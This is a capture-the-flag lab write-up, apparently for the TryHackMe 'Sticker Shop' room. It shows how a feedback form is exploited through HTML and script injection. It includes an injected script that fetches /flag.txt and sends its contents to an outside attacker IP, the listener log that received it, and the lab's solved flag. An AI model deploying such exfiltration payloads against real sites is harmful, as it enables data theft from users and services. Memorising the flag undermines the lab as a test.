Sticker Shop
we need to find the flag in http://10.10.206.150:8080/flag.txt
so when enter web page there is feedback tab we can use it for HTML injuction lets test it
on linux start webserver usng
pyton3 -m http.server 8080inject feedback with
1
<img src='YourIP:8080'>
you should see request in teminal so the injuction success
so using chatgpt i create custom injuction
1
2
3
4
5
6
7
8
9
<script>
fetch('/flag.txt')
.then(response => response.text())
.then(data => {
// Redirect to your server with the flag as a query parameter
window.location.href = 'http://10.21.49.29:9091/?flag=' + encodeURIComponent(data);
});
</script>
- you will receive
1
2
10.10.206.150 - - [11/Jan/2025 01:03:11] "GET /?flag=THM%7B83789a69074f636f64a38879cfcabe8b62305ee6%7D HTTP/1.1" 200 -
- using URL decoder on
flag=THM%7B83789a69074f636f64a38879cfcabe8b62305ee6%7D - the flag is
THM{83789a69074f636f64a38879cfcabe8b62305ee6}
This post is licensed under CC BY 4.0 by the author.